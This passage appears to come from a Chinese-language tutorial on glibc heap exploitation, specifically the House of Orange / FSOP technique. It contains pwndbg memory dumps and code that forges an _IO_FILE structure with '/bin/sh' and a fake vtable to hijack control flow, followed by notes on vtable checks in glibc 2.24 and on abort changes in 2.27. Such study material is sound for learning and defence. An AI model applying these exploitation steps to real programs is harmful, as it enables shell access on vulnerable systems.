all [corrupted]
FD: 0x603400 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x603400
BK: 0x603400 —▸ 0x7ffff7dd2510 ◂— 0x0
memcpy( ( char *) top, "/bin/sh\x00", 8); top[1] = 0x61;
pwndbg> x/10xg 0x603400
0x603400: 0x0068732f6e69622f 0x0000000000000061
0x603410: 0x00007ffff7dd1b78 0x00007ffff7dd2510
0x603420: 0x0000000000000000 0x0000000000000000
0x603430: 0x0000000000000000 0x0000000000000000
0x603440: 0x0000000000000000 0x0000000000000000
_IO_FILE *fp = (_IO_FILE *) top; fp->_mode = 0; // top+0xc0 fp->_IO_write_base = (char *) 2; // top+0x20 fp->_IO_write_ptr = (char *) 3; // top+0x28
pwndbg> x/10xg 0x00007ffff7dd2510
0x7ffff7dd2510: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2520 <_IO_list_all>: 0x00007ffff7dd2540 0x0000000000000000
0x7ffff7dd2530: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2540 <_IO_2_1_stderr_>: 0x00000000fbad2887 0x00007ffff7dd25c3
0x7ffff7dd2550 <_IO_2_1_stderr_+16>: 0x00007ffff7dd25c3 0x00007ffff7dd25c3
size_t *jump_table = &top[12]; // 可控内存 jump_table[3] = (size_t) &winner; *(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8
pwndbg> x/10xg 0x00007ffff7dd1b78
0x7ffff7dd1b78 <main_arena+88>: 0x000055555577cc30 0x0000000000000000
0x7ffff7dd1b88 <main_arena+104>: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88
0x7ffff7dd1ba8 <main_arena+136>: 0x00007ffff7dd1b98 0x00007ffff7dd1b98
0x7ffff7dd1bb8 <main_arena+152>: 0x00007ffff7dd1ba8 0x00007ffff7dd1ba8
在glibc-2.23
之前没有检查,可直接构造假的stdout
,触发libc的abort
,利用abort
中的_IO_flush_all_lockp
来达到控制程序流的目的。
在glibc-2.23
之后增加了_IO_vtable_check
/* Perform vtable pointer validation. If validation fails, terminate the process. */ static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable) { /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable; }
要求vtable
必须在__stop___libc_IO_vtables
和__start___libc_IO_vtables
之间,这就意味着不能利用任意地址来充当vtable
。可以将vtable
指向_IO_str_jumps
,将fp
的0xe8
偏移覆盖为system
函数,fp
的0x38
偏移覆盖为/bin/sh
字符串,就能get shell。
在glibc-2.27
以及之后的源码中,abort中没有刷新流的操作
/* Send signal which possibly calls a user handler. */ if (stage == 1) { /* This stage is special: we must allow repeated calls of `abort' when a user defined handler for SIGABRT is installed. This is risky since the `raise' implementation might also fail but I don't see another possibility. */ int save_stage = stage; stage = 0; __libc_lock_unlock_recursive (lock); raise (SIGABRT); __libc_lock_lock_recursive (lock); stage = save_stage + 1; }
因此不再容易利用。